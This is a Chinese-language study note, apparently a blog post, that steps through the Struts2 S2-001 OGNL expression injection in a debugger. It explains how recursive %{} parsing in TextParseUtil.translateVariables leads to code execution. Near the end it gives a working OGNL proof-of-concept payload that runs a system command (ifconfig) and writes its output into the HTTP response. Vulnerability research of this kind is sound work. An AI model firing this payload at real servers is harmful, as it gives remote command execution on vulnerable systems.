漏洞代码调试(二):Strtus2-001代码分析调试 - 图1

    Strtus2-001代码分析调试(学习笔记)


    一、漏洞描述:

    Struts2 中的validation机制。validation依靠validation和workflow两个拦截器。validation会根据配置的xml文件创建一个特殊字段错误列表。而workflow则会根据validation的错误对其进行检测,如果输入有值,将会把用户带回到原先提交表单的页面,并且将值返回。反之,在默认情况下,如果控制器没有得到任何的输入结果但是有validation验证错误。那么用户将会得到一个错误的信息提示。
    提交表单并验证失败时,由于Strust2默认会原样返回用户输入的值而且不会跳转到新的页面,因此当返回用户输入的值并进行标签解析时,如果开启了altSyntax,会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。因此我们可以构造特定的表单值让其进行OGNL表达式解析从而达到任意代码执行。

    二、影响版本
    影响版本: 2.0.0 - 2.0.8

    1. <dependency><groupId>org.apache.struts</groupId><artifactId>struts2-core</artifactId><version>2.0.8</version></dependency></dependencies>

    漏洞代码调试(二):Strtus2-001代码分析调试 - 图2

    三、漏洞分析

    Struts2的运行流程是1、HTTP请求经过一系列的过滤器,最后到达FilterDispatcher过滤器。2、FilterDispatcher将请求转发给ActionMapper,判断该请求是否需要处理。3、如果该请求需要处理,FilterDispatcher会创建一个ActionProxy来进行后续的处理。4、ActionProxy拿着HTTP请求,询问struts.xml该调用哪一个Action进行处理。5、当知道目标Action之后,实例化一个ActionInvocation来进行调用。6、然后运行在Action之前的拦截器。7、运行Action,生成一个Result。8、Result根据页面模板和标签库,生成要响应的内容。9、根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。漏洞关键位置xwork-2.0-beta-1.jar!/com/opensymphony/xwork2/util/TextParseUtil.class中的translateVariables方法下断点。
    
    opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
    

    漏洞代码调试(二):Strtus2-001代码分析调试 - 图3
    前面都是一些应用初始化、调度、Struts2 拦截器执行、Action执行等操作,直接跳过。
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图4
    本次操作只是访问http://localhost:8080/s2vuls_war/pages/s2001/index.jsp获取只有
    传入的参数为空,因为Action的返回值为error,所以doForward会跳转到index.jsp,后面再进行一系列过滤器调用、JspServlet调用解析jsp等操作。
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图5
    后面执行dorun请求的URL资源index.jsp
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图6
    http://localhost:8080/s2vuls_war/pages/s2001/index.jsp
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图7

    <%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="s2001">    <s:textfield name="username" label="username" />    <s:textfield name="password" label="password" />    <s:submit></s:submit></s:form></body></html>
    

    直接跟到org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法,这里会对jsp标签进行解析,从form标签开始,我们步入到解析textfield标签时。

    org/apache/struts/struts2-core/2.0.8/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
    

    漏洞代码调试(二):Strtus2-001代码分析调试 - 图8
    开始请求提交访问解析到form表单
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图9
    form表单解析到textfield
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图10
    开始是解析到textfield第一个字段:username
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图11
    接下里到textfield第二个字段:password
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图12
    接下来到submit
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图13
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图14
    前端页面解析的一个过程
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图15
    执行完doStartTag后会再次回到index.jsp,此时遇到了相应的闭合标签/>,会跳转到doEndTag():

    public int doStartTag() throws JspException {    this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());    Container container = Dispatcher.getInstance().getContainer();    container.inject(this.component);    this.populateParams();    boolean evalBody = this.component.start(this.pageContext.getOut());    if (evalBody) {        return this.component.usesBody() ? 2 : 1;    } else {        return 0;    }}-------------------------------分割线-------------------------------public int doEndTag() throws JspException {    this.component.end(this.pageContext.getOut(), this.getBody());    this.component = null;    return 6;}
    

    跟进component.end(),到达org.apache.struts2.components.UIBean#end

    org/apache/struts/struts2-core/2.0.8/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
    

    漏洞代码调试(二):Strtus2-001代码分析调试 - 图16
    继续跟入this.evaluateParams();,由于开启了altSyntax,expr = %{password}
    altSyntax功能是 Struts2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的OGNL表达式进行解析并执行。altSyntax功能在处理标签时,对OGNL表达式的解析能力实际上是依赖于开源组件XWork。
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图17
    继续跟入this.findValue(expr, valueClazz);
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图18
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图19

    protected Object findValue(String expr, Class toType) {    if (this.altSyntax() && toType == String.class) {        return TextParseUtil.translateVariables('%', expr, this.stack);    } else {        if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {            expr = expr.substring(2, expr.length() - 1);        }        return this.getStack().findValue(expr, toType);    }}
    

    altSyntax,toType 为class.java.lang.string,跟入com.opensymphony.xwork2.util.TextParseUtil中的translateVariables(‘%’, expr, this.stack);

    opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
    
    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {    Object result = expression;    while(true) {        int start = expression.indexOf(open + "{");        int length = expression.length();        int x = start + 2;        int count = 1;        while(start != -1 && x < length && count != 0) {            char c = expression.charAt(x++);            if (c == '{') {                ++count;            } else if (c == '}') {                --count;            }        }        int end = x - 1;        if (start == -1 || end == -1 || count != 0) {            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);        }        String var = expression.substring(start + 2, end);        Object o = stack.findValue(var, asType);        if (evaluator != null) {            o = evaluator.evaluate(o);        }        String left = expression.substring(0, start);        String right = expression.substring(end + 1);        if (o != null) {            if (TextUtils.stringSet(left)) {                result = left + o;            } else {                result = o;            }            if (TextUtils.stringSet(right)) {                result = result + right;            }            expression = left + o + right;        } else {            result = left + right;            expression = left + right;        }    }}
    

    expression为%{password},先经过while循环确定出表达式的start和end,然后取出来password赋值给var变量
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图20
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图21
    stack.findValue(var, asType);,这里的stack为OgnlValueStack,它是ValueStack的实现类。

    String VALUE_STACK = "com.opensymphony.xwork2.util.ValueStack.ValueStack";String REPORT_ERRORS_ON_NO_PROP = "com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp";
    

    ValueStack是Struts2的一个接口,字面意义为值栈,类似于一个数据中转站,Struts2的数据都保存在ValueStack中。客户端发起一个请求struts2会创建一个Action实例同时创建一个OgnlValueStack值栈实例,OgnlValueStack贯穿整个Action的生命周期。Struts2中使用OGNL将请求Action的参数封装为对象存储到值栈中,并通过OGNL表达式读取值栈中的对象属性值。

    ValueStack中有两个主要区域
    1、CompoundRoot 区域:是一个ArrayList,存储了Action实例,它作为OgnlContext的Root对象。获取root数据不需要加#
    2、context 区域:即OgnlContext上下文,是一个Map,放置web开发常用的对象数据的引用。request、session、parameters、application等。获取context数据需要加#
    操作值栈,通常指的是操作ValueStack中的root区域。
    OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值。

    public Object findValue(String expr, Class asType) {    Object var4;    try {        Object value;        if (expr == null) {            value = null;            return value;        }        if (this.overrides != null && this.overrides.containsKey(expr)) {            expr = (String)this.overrides.get(expr);        }        value = OgnlUtil.getValue(expr, this.context, this.root, asType);        if (value != null) {            var4 = value;            return var4;        }        var4 = this.findInContext(expr);        return var4;    } catch (OgnlException var9) {        var4 = this.findInContext(expr);        return var4;    } catch (Exception var10) {        this.logLookupFailure(expr, var10);        var4 = this.findInContext(expr);    } finally {        OgnlContextState.clear(this.context);    }    return var4;}
    

    OgnlUtil.getValue(expr, this.context, this.root, asType);
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图22
    Ognl.getValue(compile(name), context, root, resultType);会根据root和context对象对表达式compile(name)进行解析。
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图23
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图24
    这里因为name为password,会从root栈中LoginAction对象中 获取到我们提交的参数password并返回
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图25
    前端提交和请求参数,filter来拦截请求并处理,所以在struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/FilterDispatcher.class处,tomcat将请求交给struts2处理
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图26
    先在过滤器,请求参数和action方法绑定,再调用loginaction方法
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图27
    返回值进行一系列处理后,最后又赋值给expression,接着会再次进入translateVariables进行解析,然后进入下一次while循环
    逻辑运行完之后,struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。
    主要是%{}表达式
    这个方法对表达式是是递归解析的,如果说%{username}的结果还是一个表达式(被%{}包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图28
    计算的结果
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图29
    上面是简单的计算:
    尝试系统命令的执行:POC

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ifconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    漏洞代码调试(二):Strtus2-001代码分析调试 - 图30
    opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
    绑定参数和action
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图31
    opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class
    invokeAction中调用了自定义的action
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图32
    struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。
    evaluateParams方法,对标签属性进行解析。
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图33
    altSyntax,会将标签name属性的值(这里是username),用%{}包裹,进行进一步解析。
    opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图34
    将%{}中的值取出来,放入findValue方法中:
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图35
    多次循环解析点
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图36
    ognl表达式传入了OgnlUtil.getValue并执行
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图37
    最后返回到translateVariables方法
    返回命令执行的内容:
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图38
    执行成功返回IP相关学习。

    总结:
    1、主要是%{}表达式
    这个方法对表达式是是递归解析的,如果说%{username}的结果还是一个表达式(被%{}包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。
    2、Strtus2-001本次环境调试,注意多次的表达式循环的解析。开始的生活注意路径和jar包,断点查看调试。(自己被绕晕过,可以第一次过一下,后面再来详细的断点调试)
    3、本次也是自己学习记录,如果有纰漏欢迎大佬指点。

    参考:
    https://www.jianshu.com/p/a072ddd26f50
    http://wechat.doonsec.com/article/?id=308b4bab7df3ecdb3bdda6fe1e026ac6
    https://blog.csdn.net/qq_29647709/article/details/84945159
    https://seaii-blog.com/index.php/2019/12/29/90.html
    https://github.com/proudwind/struts2_vulns/


    免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    订阅查看更多复现文章、学习笔记
    thelostworld
    安全路上,与你并肩前行!!!!
    漏洞代码调试(二):Strtus2-001代码分析调试 - 图39
    个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
    个人简书:https://www.jianshu.com/u/bf0e38a8d400